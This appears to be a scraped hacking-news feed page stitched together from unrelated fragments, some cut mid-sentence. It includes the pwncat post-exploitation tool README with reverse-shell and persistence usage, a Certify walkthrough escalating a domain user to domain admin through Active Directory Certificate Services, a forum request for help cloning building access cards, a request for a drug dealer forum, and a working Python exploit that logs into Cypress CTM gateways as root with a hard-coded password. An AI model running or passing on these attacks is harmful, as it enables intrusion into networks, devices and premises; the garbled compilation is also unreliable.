to support multiple platforms and multi-session environments. Documentation for this version is available in the latestversion on Read the Docs.

v0.3.1 will not be updated further Modules

Recently, the architecture of the pwncat framework was redesigned to incorporate a generic “module” structure. All functionality is now implemented as modules. This includes enumeration, persistence and privilege escalation. Interacting with modules is similar to most other post-exploitation platforms. You can utilize the familiar run, searchand infocommands and enter module contexts with the usecommand. Refer to the documentation for more information. Install pwncatonly depends on a working Python development environment running on Linux. In order to install some of the packages required with pip, you will likely need your distribution’s “Python Development” package. On Debian based systems, this is python-dev. For Arch, the development files are shipped with the main Python repository. For Enterprise Linux, the package is named python-devel. pwncatis configured as a standard python package with distutils. You can install pwncatdirectly from GitHub with:

pip install git+https://github.com/calebstewart/pwncat.git

Or, you can install after cloning the repository with:

python setup.py install

It is recommended to install pwncat from a virtual environment.

python3 -m venv pwncat-env
source pwncat-env/bin/activate
python setup.py install

If you would like to develop custom privilege escalation or persistence modules, we recommend you use the developtarget vice the installtarget for setup.py. This allows changes to the local repository to immediately be observed with your installed package.

The setup script will install three binaries. They are all identical, but provide convenience aliases for pwncat. The three binaries are: pwncat, pcand pcatBlackArch Packaging

Installation on BlackArch is as simple as:

pacman -Syu pwncat-caleb

Connecting To A Victim

The command line parameters for pwncat attempt to be flexible and accept a variety of common connection syntax. Specifically, it will try to accept common netcat and ssh like syntax. The following are all valid:

#Connect to a bind shell
pwncat connect://10.10.10.10:4444
pwncat 10.10.10.10:4444
pwncat 10.10.10.10 4444
#Listen for reverse shell
pwncat bind://0.0.0.0:4444
pwncat 0.0.0.0:4444
pwncat :4444
pwncat -lp 4444
#Connect via ssh
pwncat ssh://user:password@10.10.10.10
pwncat user@10.10.10.10
pwncat user:password@10.10.10.10
pwncat -i id_rsa user@10.10.10.10
#SSH w/ non-standard port
pwncat -p 2222 user@10.10.10.10
pwncat user@10.10.10.10:2222
#Reconnect utilizing installed persistence
#If reconnection fails and no protocol is specified,
#SSH is used as a fallback.
pwncat reconnect://user@10.10.10.10
pwncat reconnect://user@c228fc49e515628a0c13bdc4759a12bf
pwncat user@10.10.10.10
pwncat c228fc49e515628a0c13bdc4759a12bf
pwncat 10.10.10.10

By default, pwncat assumes the target platform is Linux. In order to connect to a Windows reverse or bind shell, you must pass the --platform/-margument:

pwncat -m windows 10.10.10.10 4444
pwncat -m windows -lp 4444

For more information on the syntax and argument handling, see the help information with pwncat --helpor visit the documentation. Docker Image

The recommended installation method is a Python virtual environment. This provides the easiest day-to-day usage of pwncat. However, there has been interest in using pwncatfrom a docker image, so I have provided a Dockerfile which provides a working pwncatinstallation. To build the image use:

docker build -t pwncat .

This w[...]

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hire.local\theshire-DC-CA
Flags : SUPPORTS_NT_AUTHENTICATION, CA_SERVERTYPE_ADVANCED
Cert SubjectName : CN=theshire-DC-CA, DC=theshire, DC=local
Cert Thumbprint : 187D81530E1ADBB6B8B9B961EAADC1F597E6D6A2
Cert Serial : 14BFC25F2B6EEDA94404D5A5B0F33E21
Cert Start Date : 1/4/2021 10:48:02 AM
Cert End Date : 1/4/2026 10:58:02 AM
Cert Chain : CN=theshire-DC-CA,DC=theshire,DC=local
UserSpecifiedSAN : Disabled
CA Permissions :
Owner: BUILTIN\Administrators S-1-5-32-544
Access Rights Principal
Allow ManageCA, ManageCertificates BUILTIN\Administrators S-1-5-32-544
Allow ManageCA, ManageCertificates THESHIRE\Domain Admins S-1-5-21-937929760-3187473010-80948926-512
Allow ManageCA, Read, Enroll THESHIRE\Domain Users S-1-5-21-937929760-3187473010-80948926-513
[!] Low-privileged principal has ManageCA rights!
Allow Enroll THESHIRE\Domain Computers S-1-5-21-937929760-3187473010-80948926-515
Allow ManageCA, ManageCertificates THESHIRE\Enterprise Admins S-1-5-21-937929760-3187473010-80948926-519
Allow ManageCertificates, Enroll THESHIRE\certmanager S-1-5-21-937929760-3187473010-80948926-1605
Allow ManageCA, Enroll THESHIRE\certadmin S-1-5-21-937929760-3187473010-80948926-1606
Enrollment Agent Restrictions :
Everyone S-1-1-0
Template :
Targets :
Everyone S-1-1-0
Everyone S-1-1-0
Template : User
Targets :
Everyone S-1-1-0
Vulnerable Certificates Templates :
CA Name : dc.theshire.local\theshire-DC-CA
Template Name : User2
Validity Period : 2 years
Renewal Period : 6 weeks
msPKI-Certificates-Name-Flag : SUBJECT_ALT_REQUIRE_UPN, SUBJECT_REQUIRE_DIRECTORY_PATH
mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PEND_ALL_REQUESTS, PUBLISH_TO_DS, AUTO_ENROLLMENT
Authorized Signatures Required : 0
pkiextendedkeyusage : Client Authentication, Smart Card Logon
Permissions
Enrollment Permissions
Enrollment Rights : THESHIRE\Domain Admins S-1-5-21-937929760-3187473010-80948926-512
THESHIRE\Enterprise Admins S-1-5-21-937929760-3187473010-80948926-519
All Extended Rights : THESHIRE\Domain Users S-1-5-21-937929760-3187473010-80948926-513
Object Control Permissions
Owner : THESHIRE\localadmin S-1-5-21-937929760-3187473010-80948926-1000
Full Control Principals : THESHIRE\Domain Users S-1-5-21-937929760-3187473010-80948926-513
WriteOwner Principals : NT AUTHORITY\Authenticated UsersS-1-5-11
THESHIRE\Domain Admins S-1-5-21-937929760-3187473010-80948926-512
THESHIRE\Domain Users S-1-5-21-937929760-3187473010-80948926-513
THESHIRE\Enterprise Admins S-1-5-21-937929760-3187473010-80948926-519
WriteDacl Principals : NT AUTHORITY\Authenticated UsersS-1-5-11
THESHIRE\Domain Admins S-1-5-21-937929760-3187473010-80948926-512
THESHIRE\Domain Users S-1-5-21-937929760-3187473010-80948926-513
THESHIRE\Enterprise Admins S-1-5-21-937929760-3187473010-80948926-519
WriteProperty Principals : NT AUTHORITY\Authenticated UsersS-1-5-11
THESHIRE\Domain Admins S-1-5-21-937929760-3187473010-80948926-512
THESHIRE\Domain Users S-1-5-21-937929760-3187473010-80948926-513
THESHIRE\Enterprise Admins S-1-5-21-937929760-3187473010-80948926-519
CA Name : dc.theshire.local\theshire-DC-CA
Template Name : VulnTemplate
Validity Period : 3 years
Renewal Period : 6 weeks
msPKI-Certificates-Name-Flag : ENROLLEE_SUPPLIES_SUBJECT
mspki-enrollment-flag : INCLUDE_SYMMETRIC_ALGORITHMS, PUBLISH_TO_DS
Authorized Signatures Required : 0
pkiextendedkeyusage : Client Authentication, Encrypting File System, Secure Email
Permissions
Enrollment Permissions
Enrollment Rights : THESHIRE\Domain Admins S-1-5-21-937929760-3187473010-80948926-512
THESHIRE\Domain Users S-1-5-21-937929760-3187473010-80948926-513
THESHIRE\Enterprise Admins S-1-5-21-937929760-3187473010-80948926-519 Object Control Permissions
Owner : THESHIRE\localadmin S-1-5-21-937929760-3187473010-80948926-1000
WriteOwner Principals : THESHIRE\Domain Admins S-1-5-21-937929760-3187473010-80948926-512
THESHIRE\Enterprise Admins S-1-5-21-937929760-3187473010-80948926-519
THE[...]

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ill build the pwncatdocker image with the tag “pwncat”. The working directory within the container is /work. The entry point for the container is the pwncatbinary. It can be used like so:

#Connect to a bind shell at 10.0.0.1:4444
docker run -v “/some/directory”:/work -t pwncat 10.0.0.1 4444

In this example, only the files in /some/directoryare exposed to the container. Obviously, for upload/download, the container will only be able to see the files exposed through any mounted directories. Features And Functionality pwncatprovides two main features. At it’s core, it’s goal is to automatically setup a remote PseudoTerminal (pty) which allows interaction with the remote host much like a full SSH session. When operating in a pty, you can use common features of your remote shell such as history, line editing, and graphical terminal applications.

The other half of pwncatis a framework which utilizes your remote shell to perform automated enumeration, persistence and privilege escalation tasks. The local pwncatprompt provides a number of useful features for standard penetration tests including:

* File upload and download
* Automated privilege escalation enumeration
* Automated privilege escalation execution
* Automated persistence installation/removal
* Automated tracking of modified/created files
* pwncatalso offers the ability to revert these remote “tampers” automatically
The underlying framework for interacting with the remote host aims to abstract away the underlying shell and connection method as much as possible, allowing commands and plugins to interact seamlessly with the remote host.

You can learn more about interacting with pwncatand about the underlying framework in the documentation. If you have an idea for a new privilege escalation method or persistence method, please take a look at the API documentation specifically. Pull requests are welcome! Planned Features

pwncat would like to be come a red team swiss army knife. Hopefully soon, more features will be added.

* More privilege escalation methods (sudo -u#-1 CVE, LXD containers, etc.)
* Persistence methods (bind shell, cronjobs, SSH access, PAM abuse, etc.)
* Aggression methods (spam randomness to terminals, flush firewall, etc.)
* Meme methods (terminal-parrot, cowsay, wall, etc.)
* Network methods (port forward, internet access through host, etc.) Known Issues

Because pwncatis trying to abstractly interact with any shell with minimal remote system dependencies, there are some edge cases we have found. Where we find them, we do everything we can to account for them and hide them from the user. However, some have slipped through the cracks and been observed in the wild. When this happens, pwncatwill do whatever it can to preserve your terminal, but you may be greeted with some peculiar output or command failures. BSD Support

While BSD is a Unix-based kernel, in practice it’s userland tools are noticeably different from their Linux counterparts. Due to this, many of the automated features of pwncatwill not work or outright fail when running against a BSD based target. I have tried to catch all errors or edge cases, however there are likely some hiccups which haven’t been fully tested against BSD. In any case, the stabilized shell should function within a BSD environment, but I don’t provide any guarantees.

If I find some time later down the road, I may try to stabilize pwncaton BSD, but for now my focus is on Linux-based distributions. If you’d like to contribute to making pwncatbehave better on BSD, you are more then welcome to reach out or just fork the repo. As always, pull requests are welcome! Download

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SHIRE\localadmin S-1-5-21-937929760-3187473010-80948926-1000
WriteDacl Principals : THESHIRE\Domain Admins S-1-5-21-937929760-3187473010-80948926-512
THESHIRE\Enterprise Admins S-1-5-21-937929760-3187473010-80948926-519
THESHIRE\localadmin S-1-5-21-937929760-3187473010-80948926-1000
WriteProperty Principals : THESHIRE\Domain Admins S-1-5-21-937929760-3187473010-80948926-512
THESHIRE\Enterprise Admins S-1-5-21-937929760-3187473010-80948926-519
THESHIRE\localadmin S-1-5-21-937929760-3187473010-80948926-1000
Certify completed in 00:00:00.6548319

Given the above results, we have the three following issues:

* THESHIRE\Domain Usershave ManageCA permissions over the dc.theshire.local\theshire-DC-CACA (ESC7)
* This means that the EDITF_ATTRIBUTESUBJECTALTNAME2 flag can be flipped on the CA by anyone.

* THESHIRE\Domain Usershave full control over the User2 template (ESC4)
* This means that anyone can flip the CT_FLAG_ENROLLEE_SUPPLIES_SUBJECT flag on this template and remove the PEND_ALL_REQUESTS issuance requirement.

* THESHIRE\Domain Userscan enroll in the VulnTemplate template, which can be used for client authentication and has ENROLLEE_SUPPLIES_SUBJECT set (ESC1)
* This allows anyone to enroll in this template and specify an arbitrary Subject Alternative Name (i.e. as a DA).
We’ll show the abuse of scenario 3.

Next, let’s request a new certificate for this template/CA, specifying a DA localadminas the alternate principal:

C:\Temp>Certify.exe request /ca:dc.theshire.local\theshire-DC-CA /template:VulnTemplate /altname:localadmin
_ _ _ / | | | ()/ |
| | _ _ | |_ | | _ _
| | / _ \ ‘| | | | | | | | || / | | || | | | || | __|| _||| __, |
/ | |_./
v1.0.0
[] Action: Request a Certificates [] Current user context : THESHIRE\harmj0y
[] No subject name specified, using current context as subject. [] Template : VulnTemplate
[] Subject : CN=harmj0y, OU=TestOU, DC=theshire, DC=local [] AltName : localadmin
[] Certificate Authority : dc.theshire.local\theshire-DC-CA [] CA Response : The certificate had been issued.
[] Request ID : 337 [] cert.pem :
—–BEGIN RSA PRIVATE KEY—–
MIIEpAIBAAKCAQEAn8bKuwCYj8…
—–END RSA PRIVATE KEY—–
—–BEGIN CERTIFICATE—–
MIIGITCCBQmgAwIBAgITVQAAAV…
—–END CERTIFICATE—–
[*] Convert with: openssl pkcs12 -in cert.pem -keyex -CSP “Microsoft Enhanced Cryptographic Provider v1.0” -export -out cert.pfx
Certify completed in 00:00:04.2127911

Copy the -----BEGIN RSA PRIVATE KEY----- ... -----END CERTIFICATE-----section to a file on Linux/macOS, and run the openssl command to convert it to a .pfx. When prompted, don’t enter a password:

(base) laptop:~ harmj0y$ openssl pkcs12 -in cert.pem -keyex -CSP “Microsoft Enhanced Cryptographic Provider v1.0” -export -out cert.pfx
Enter Export Password:
Verifying – Enter Export Password:
(base) laptop:~ harmj0y$

Finally, move the cert.pfx to your target machine filesystem (manually or through Cobalt Strike), and request a TGT for the altnameuser using Rubeus:

C:\Temp>Rubeus.exe asktgt /user:localadmin /certificate:C:\Temp\cert.pfx
_ _ ( \ | |
) )_ | | _ | _ /| | | | _ | _ | | | |/) | | \ | || | |) ) | || | | || ||/|/|)/(_/
v1.6.1
[] Action: Ask TGT [] Using PKINIT with etype rc4_hmac and subject: CN=harmj0y, OU=TestOU, DC=theshire, DC=local
[] Building AS-REQ (w/ PKINIT preauth) for: ‘theshire.local\localadmin’ [+] TGT request successful! [] base64(ticket.kirbi):
doIFujCCBbagAwIBBaEDAgEWooIExzCC…(snip)…
ServiceName : krbtgt/theshire.local
ServiceRealm : THESHIRE.LOCAL
UserName : localadmin
UserRealm : THESHIRE.LOCAL
StartTime : 2/22/2021 2:06:51 PM
EndTime : 2/22/2021 3:06:51 PM
RenewTill : 3/1/2021 2:06:51 PM
Flags : name_canonicalize, pre_authent, initial, renewable, forwardable
KeyType : rc4_hmac
Base64(key) : Etb5WPFWeMbsZr2+FQQQMw==

Defensive Considerations

Certify was released at Black Hat 2021 with our “[...]

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Certified Pre-Owned: Abusing Active Directory Certificate Services” talk.

The TypeRefHash of the current Certify codebase is f9dbbfe2527e1164319350c0b0900c58be57a46c53ffef31699ed116a765995a.

The TypeLib GUID of Certify is 64524ca5-e4d0-41b3-acc3-3bdbefd40c97. This is reflected in the Yara rules currently in this repo.

See our whitepaper for prevention and detection guidance. Compile Instructions

We are not planning on releasing binaries for Certify, so you will have to compile yourself https://s.w.org/images/core/emoji/13.1.0/72x72/1f642.png

Certify has been built against .NET 4.0 and is compatible with Visual Studio 2019 Community Edition. Simply open up the project .sln, choose “Release”, and build. Sidenote: Running Certify Through PowerShell

If you want to run Certify in-memory through a PowerShell wrapper, first compile the Certify and base64-encode the resulting assembly:

[Convert]::ToBase64String([IO.File]::ReadAllBytes(“C:\Temp\Certify.exe”)) | Out-File -Encoding ASCII C:\Temp\Certify.txt

Certify can then be loaded in a PowerShell script with the following (where “aa…” is replaced with the base64-encoded Certify assembly string):

$CertifyAssembly = [System.Reflection.Assembly]::Load([Convert]::FromBase64String(“aa…”))

The Main() method and any arguments can then be invoked as follows: Sidenote Sidenote: Running Certify Over PSRemotingDue to the way PSRemoting handles output, we need to redirect stdout to a string and return that instead. Luckily, Certify has a function to help with that.

If you follow the instructions in Sidenote: Running Certify Through PowerShell to create a Certify.ps1, append something like the following to the script:

Reflections

On the subject of public disclosure, we self-embargoed the release of our offensive tooling (Certify as well as ForgeCert) for ~45 days after we published our whitepaper in order to give organizations a chance to get a grip on the issues surrounding Active Directory Certificate Services. We also preemptively released some Yara rules/IOCs for both projects and released the defensive-focused PSPKIAudit PowerShell project along with the whitepaper. However, we have found that organizations and vendors have historically often not fixed issues or built detections for “theoretical” attacks until someone proves something is possible with a proof of concept. Download

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hacking: security in practice
salto codes

ive managed to find the keys that our company uses to store the salto data on the mifare clasic cards just wonderin if anyone could help me with what it means and how i could change it to get acess all areas?

code start:

+Sector: 0

C4EB408AE5880400C852002000000020

00000000000000000000000000000000

00000000000000000000000000000000

FFFFFFFFFFFFFF078069FFFFFFFFFFFF

+Sector: 1

00000000000000000000000000000000

00000000000000000000000000000000

00000000000000000000000000000000

FFFFFFFFFFFFFF078069FFFFFFFFFFFF

+Sector: 2

00000000000000000000000000000000

00000000000000000000000000000000

00000000000000000000000000000000

FFFFFFFFFFFFFF078069FFFFFFFFFFFF

+Sector: 3

00000000000000000000000000000000

00000000000000000000000000000000

00000000000000000000000000000000

FFFFFFFFFFFFFF078069FFFFFFFFFFFF

+Sector: 4

00000000000000000000000000000000

00000000000000000000000000000000

00000000000000000000000000000000

FFFFFFFFFFFFFF078069FFFFFFFFFFFF

+Sector: 5

00000000000000000000000000000000

00000000000000000000000000000000

00000000000000000000000000000000

6A1987C40A21F78F005A7F33625BC129

+Sector: 6

00000000000000000000000000000000

00000000000000000000000000000000

00000000000000000000000000000000

6A1987C40A21F78F005A7F33625BC129

+Sector: 7

00000000000000000000000000000000

00000000000000000000000000000000

00000000000000000000000000000000

6A1987C40A21F78F005A7F33625BC129

+Sector: 8

D106F78D0D57C1C98B327D4F37D0E370

A96E31C7CE4A276DA2D9E567912715A5

73CA0A3DD7F027710000000000000000

6A1987C40A21F78F005A7F33625BC129

+Sector: 9

00000000000000000000000000000000

0000FF7F1FA22D599682C28589932202

D53DD22050079123CADF07D925C2AA79

6A1987C40A21F78F005A7F33625BC129

+Sector: 10

8B852B249F1E680365D0C53B76F0C5F6

3F400000000000000000000000000000

00000000000000000000000000000000

6A1987C40A21F78F005A7F33625BC129

+Sector: 11

86A8B2858E217848EB9AB64586674861

F880B85733D60423B46C83CCE21683B0

B0EFE99313D7B634D0C8A1E0B27B1C65

6A1987C40A21F78F005A7F33625BC129

+Sector: 12

A52A1618EFFFECC5723F7DAE4EAB6866

09424D80AD093D733EB8C911B8C84BD5

0A0227767D53AEA2E282D104CEA33318

6A1987C40A21F78F005A7F33625BC129

+Sector: 13

B45FA3737248CD485E4690079D27CF68

C9354E48728A75763690A6E1C205E05F

4181E9D5ADFDD79521AF80F2308D56B8

6A1987C40A21F78F005A7F33625BC129

+Sector: 14

322400E60000001A00000000FC000000

00BD42F779CE87DE4693078A673D1BB0

5958057BCCFBA333B44E8A8435D754EA

6A1987C40A21F78F005A7F33625BC129

+Sector: 15

E0FF00000048EF481F00FFFFFFB710B7

FF813800100200BA0000000000000000

FFFF0EF101A1EBED92C688EF61DBF234

6A1987C40A21F78F005A7F33625BC129

submitted by /u/samwisedrn
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hacking: security in practice
just started learning with try hack me!

Its only the basics but it's pretty fun! :)

submitted by /u/SoulBoiii
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hacking: security in practice
Just found out lost Wordpress website (hacked). What can I do better next time?

I really believe this is a product from switching hosting providers, last month was using A2hosting for 67 $ usd a month VPS for 2 years, switched over to a single Wordpress hosting plan on Interserver for 8 Dollars. Took no backup of website, site took years to curate categories and minimum 400 word Descriptions for each one, ontop of content. Essentially my fault for not taking a backup. My Cpanel is still showing last login from a German VPN.

Aside from not using current host, what plugins would you suggest I use ? If you're going to run a WordPress site at all, what's your prefered environment or OS? I went through breakthroughs in past 12 months with personal problems that prevented me from learning what to do on the server-side of a website. Not going to depend on Fiverr anymore. Any advice is highly appreciated!

submitted by /u/ToneOnTheTrack
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Deep Web
Is there a Reddit of the deep web?

is there something on the deep web like Reddit? or more specifically a drug dealer form?

submitted by /u/Temptation808
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Hacking on Medium
Projects of our Hackday 2021

https://cdn-images-1.medium.com/max/2600/1*Wwd56zrWbUdQnmx855XNng.jpeg
Same as last year, I organized an Hackday at my current company. Luckily, we could spend this year together in the office, and not…

Continue reading on Medium »

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Hacking on Medium
My journey so far and how I got into hacking

Introduction

Continue reading on Medium »

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Hacking on Medium
Hackers’ use of Swift network means banks worldwide need deeper layers of security defense

A NUMBER OF HIGH-PROFILE — AND HIGH COST — CYBER HEISTS THAT LEVERAGED THE INTERNATIONAL SWIFT NETWORK TO EXECUTE LARGE-SCALE FRAUDULENT…

Continue reading on Medium »

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Hacking on Medium
Crean un algoritmo “consciente de sí mismo” para protegerse de ciberataques

https://cdn-images-1.medium.com/max/1571/0*PADBcxkVEXD-a8Ow
PUBLICADO EN 11 OCTUBRE, 2021POR EHACKING

Continue reading on Medium »

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A Tale of Weird XSS into $100

Hey Guys , How are you all ? . I hope so your doing good and healthy . So, Lets get started . So , I started searching for bugbounty…Continue reading on Medium »
Read more...

Exploit Collector
Cypress Solutions CTM-200/CTM-ONE Hard-Coded Credentials Remote Root

https://2.bp.blogspot.com/-KCLJyqafybo/WWlvfwHA-LI/AAAAAAAAIQI/MCuUzFpEyfsyWr-64Egm7HXW4FQP4atdgCLcBGAs/s1600/h88.png Cypress Solutions CTM-200/CTM-ONE suffers from a hard-coded credential remote root vulnerability via telnet and ssh.

MD5 | 4dc0da6ff777de3e071d0c7c9de1dabaDownload #!/usr/bin/env python3
#
#
# Cypress Solutions CTM-200/CTM-ONE Hard-coded Credentials Remote Root (Telnet/SSH)
#
#
# Vendor: Cypress Solutions Inc.
# Product web page: https://www.cypress.bc.ca
# Affected version: CTM-ONE (1.3.6-latest)
# CTM-ONE (1.3.1)
# CTM-ONE (1.1.9)
# CTM200 (2.7.1.5659-latest)
# CTM200 (2.0.5.3356-184)
#
# Summary: CTM-200 is the industrial cellular wireless gateway for fixed
# and mobile applications. The CTM-200 is a Linux based platform powered
# by ARM Cortex-A8 800 MHz superscalar processor. Its on-board standard
# features make the CTM-200 ideal for mobile fleet applications or fixed
# site office and SCADA communications.
#
# CTM-ONE is the industrial LTE cellular wireless gateway for mobile and
# fixed applications. CTM-ONE is your next generation of gateway for fleet
# tracking and fixed sites.
#
# ======================================================================
# CTM-200
# /var/config/passwd:
# -------------------
# root:$1$5RS5yR6V$Lo9QCp3rB/7UCU8fRq5ec0:0:0:root:/root:/bin/ash
# admin:$1$5RS5yR6V$Lo9QCp3rB/7UCU8fRq5ec0:0:0:root:/root:/bin/ash
# nobody:*:65534:65534:nobody:/var:/bin/false
# daemon:*:65534:65534:daemon:/var:/bin/false
#
# /var/config/advanced.ini:
# -------------------------
# 0
# 0
# Chameleon
# 0,0,0,0,0,255
# 0,0,0,0,0,255
# 0,0,0,0,0,255
# 0,0,0,0,0,255
# 0,0,0,0,0,255
# 0,0,0,0,0,255
#
#
# CTM-ONE
# /etc/shadow:
# ------------
# admin:$6$l22Co5pX$.TzqtAF55KX2XkQrjENNkqQfRBRB2ai0ujayHE5Ese7SdcxkXf1EPQqDv3/d2u3D/OHlgngU8f9Pn5.gO61vx/:17689:0:99999:7:::
# root:$6$5HHLZqFi$Gw4IfW2NBiwce/kMpc2JGM1byduuiJJy/Z7YhKQjSi4JSx8cur0FYhSDmg5iTXaehqu/d6ZtxNZtECZhLJrLC/:17689:0:99999:7:::
# daemon:*:16009:0:99999:7:::
# bin:*:16009:0:99999:7:::
# sys:*:16009:0:99999:7:::
# ftp:*:16009:0:99999:7:::
# nobody:*:16009:0:99999:7:::
# messagebus:!:16009:0:99999:7:::
# ======================================================================
#
# Desc: The CTM-200 and CTM-ONE are vulnerable to hard-coded credentials
# within their Linux distribution image. This weakness can lead to the
# exposure of resources or functionality to unintended actors, providing
# attackers with sensitive information including executing arbitrary code.
#
# Tested on: GNU/Linux 4.1.15-1.2.0+g77f6154 (arm7l)
# GNU/Linux 2.6.32.25 (arm4tl)
# lighttpd/1.4.39
# BusyBox v1.24.1
# BusyBox v1.15.3
#
#
# Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
# @zeroscience
#
#
# Advisory ID: ZSL-2021-5686
# Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2021-5686.php
#
#
# 21.09.2021
#

import sys
import paramiko

bnr='''
o ┌─┐┌┬┐┌─┐ ┌─┐ ┬─┐┌─┐┌─┐┌┬┐┌─┐┬ ┬┌─┐┬ ┬ o
│ │││││ ┬ ├─┤ ├┬┘│ ││ │ │ └─┐├─┤├┤ │ │
o └─┘┴ ┴└─┘ ┴ ┴ ┴└─└─┘└─┘ ┴ └─┘┴ ┴└─┘┴─┘┴─┘ o
'''
print(bnr)

if len(sys.argv)
print('Put an IP.')
sys.exit()

adrs=sys.argv[1]##
unme='root'#admin#
pwrd='Chameleon'##

rsh=paramiko.SSHClient()
rsh.set_missing_host_key_policy(paramiko.AutoAddPolicy())
rsh.connect(adrs,username=unme,password=pwrd)

while 1:
cmnd=input('# ')
if cmnd=='exit':
break
stdin,stdout,stderr=rsh.exec_command(cmnd)
stdin.close()
print(str(stdout.read().decode()))
rsh.close() Source:packetstormsecurity.com

___________________________
@hacking_Attack
@Hacking_Video